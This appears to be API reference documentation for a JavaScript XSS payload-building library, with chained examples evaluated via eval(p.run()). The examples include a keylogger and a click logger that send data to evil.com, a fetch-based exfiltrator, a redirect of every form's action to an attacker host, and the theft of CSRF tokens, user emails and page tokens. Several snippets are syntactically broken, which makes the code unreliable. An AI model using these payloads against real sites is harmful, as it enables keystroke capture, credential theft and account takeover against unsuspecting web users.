Payload

(static) new() → {Payload}

addExfiltrator(exfiltrator) → {Payload}

Example

const p new Payload()
            .addExfiltrator(x => fetch('https://evil.com/?' + x))
            .addExfiltrator(exfiltrators.message())
            .eval(x=>42)
            .exfiltrate()

eval(p.run())

asDOM(langopt) → {Payload}

Example

const p = Payload.new()
              .fetchText("/")
              .asDOM()
              .querySelector("title", "innerText")
              .exfiltrate()

eval(p.run())

eval(code_or_func, …args) → {Payload}

Example

const p = Payload.new()
              .eval(()=>42)      # pipe value set to 42
              .eval(x=>alert(x))  # alert 42

eval(p.run())

exfiltrate() → {Payload}

Example

const p new Payload()
            .addExfiltrator(exfiltrators.message())
            .eval(x=>42)
            .exfiltrate()

eval(p.run())

fetch(url_or_func, optionsopt) → {Payload}

Examples

const p new Payload()
            .fetch("/")
            .eval(r=>r.status)
            .exfiltrate()

eval(p.run())

const p new Payload()
              eval(()=> {
                return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
              })
            .fetch()
            .eval(r=>r.status)
            .exfiltrate()

eval(p.run())

fetchDOM(url_or_func, optionsopt) → {Payload}

Examples

const p = Payload.new()
              .fetchDOM("/")
              .querySelector("title", "innerText")
              .exfiltrate()

eval(p.run())

const p = Payload.new()
              .eval(()=> {
                  return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
                })
              .fetchDOM()
              .querySelector("title", "innerText")
              .exfiltrate()

eval(p.run())

fetchJSON(url_or_func, optionsopt) → {Payload}

Examples

const p = Payload.new()
              .fetchJSON("/")           # return a json object
              .eval(obj => obj.msg)
              .exfiltrate()

eval(p.run())

const p = Payload.new()
              .eval(()=> {
                  return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
                })
              .fetchJSON()
              .eval(obj => obj.msg)
              .exfiltrate()

eval(p.run())

fetchText(url_or_func, optionsopt) → {Payload}

Examples

const p new = Payload()
              .fetchText("/")
              .exfiltrate()

eval(p.run())

const p new = Payload()
              .eval(()=> {
                  return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
                })
              .fetchText()
              .exfiltrate()

eval(p.run())

findBetween(before, after) → {Payload}

Example

const p = Payload.new()
              .fetchText("/")
              .findBetween('<title>', '</title>')
              .exfiltrate()

eval(p.run())

forEach(payload) → {Payload}

Example

const p = Payload.new()
              .fetchDOM("/")
              .querySelectorAll("a", "href")
              .forEach(
                   Payload.new().fetchText()
                )
              .exfiltrate()

eval(p.run())

guard() → {Payload}

Example

const p = Payload.new()
              .guard()
              .eval(x => alert(x))

eval(p.run()) # call alert()
eval(p.run()) # raise Guard error

injectStyle(style_or_funcopt) → {Payload}

Examples

const p = Payload.new()
              .eval(() => 'body{background:red}')
              .injectStyle()

return eval(p.run())

const p = Payload.new()
              .injectStyle('body{background:red}')

return eval(p.run())

const p = Payload.new()
              .eval(() => 'red')
              .injectStyle(color => `body{background:${color}}`)

return eval(p.run())

log() → {Payload}

Example

const p = Payload.new()
              .fetchDOM("/")
              .log()
              .querySelector("title", "innerText")
              .log()
              .exfiltrate()

eval(p.run())

map(payload) → {Payload}

Example

const p = Payload.new()
              .fetchDOM("/")
              .querySelectorAll("a", "href")
              .map(
                  Payload.new().fetchText()
                )
              .exfiltrate()

eval(p.run())

parallel(…payloads) → {Payload}

Example

const p = Payload.new()
              .parallel(
                  Payload.new().fetchDOM("/"),
                  Payload.new().fetchDOM("/api")
              .exfiltrate()

eval(p.run())

passthru(code_or_func, …args) → {Payload}

Example

const p = Payload.new()
              .eval(()=>42)                 # pipe value set to 42
              .passthru(v=>console.log(v))  # log the value of the pipe
              .exfiltrate()                 # 42

eval(p.run())

persist(callbackopt) → {Payload}

Example

const p = Payload.new()
              .persist(
                Payload.new().eval(d=>d.location).exfiltrate()
              )

return eval(p.run())

postMessage(nameopt, targetopt) → {Payload}

postMultipart(callback)

querySelector(selector_or_func, attropt) → {Payload}

Examples

const p = Payload.new()                                       # by default the pipe value is set to window.document
              .querySelector('title')                       # get the title element
              .passthru(el => el.innerText = 'New title')   # change the title

eval(p.run())

const p = Payload.new()
              .fetchDOM("/user/me")
              .querySelector('input[name=email]', 'value')
              .exfiltrate()

eval(p.run())

querySelectorAll(selector_or_func, attropt) → {Payload}

Examples

const p = Payload.new()                                       # by default the pipe value is set to window.document
              .querySelectorAll('form')                     # get all the forms
              .passthru(els => {
                  els.forEach(el => el.action = '//evil.com') # change the form destination
                })

eval(p.run())

const p = Payload.new()
              .fetchDOM("/")
              .querySelectorAll('a', 'href')     # Get all the link present on the page
              .exfiltrate()

eval(p.run())

redirect(url) → {Payload}

regExtract(reg_or_func, flagsopt) → {Payload}

Example

const p = Payload.new()
              .fetchText("/")
              .regExtract('token=([a-f0-9]+)')
              .exfiltrate()

eval(p.run())

setExfiltrator(exfiltrator) → {Payload}

Examples

const p new Payload()
            .setExfiltrator(x => fetch('https://evil.com/?' + x))
            .eval(x=>42)
            .exfiltrate()

eval(p.run())

const p new Payload()
            .setExfiltrator(exfiltrators.message())
            .eval(x=>42)
            .exfiltrate()

eval(p.run())

startClickLogger(fopt) → {Payload}

Examples

const p = Payload.new()
              .setExfiltrator(exfiltrator.get('//evil.com'))
              .startClickLogger()

eval(p.run())

const p = Payload.new()
              .setExfiltrator(ev => console.log(ev.target))
              .startClickLogger()

eval(p.run())

startKeyLogger(fopt) → {Payload}

Examples

const p = Payload.new()
              .setExfiltrator(exfiltrator.get('//evil.com'))
              .startKeyLogger()

eval(p.run())

const p = Payload.new()
              .setExfiltrator(ev => console.log(ev.target))
              .startKeyLogger()

eval(p.run())

wait(ms) → {Payload}

Example

const p new Payload()
            .fetch("/sendMail")      # Long operation that continue after the response
            .wait(4000)              # wait for 4s
            .fetchText("/readMail")
            .exfiltrate()

eval(p.run())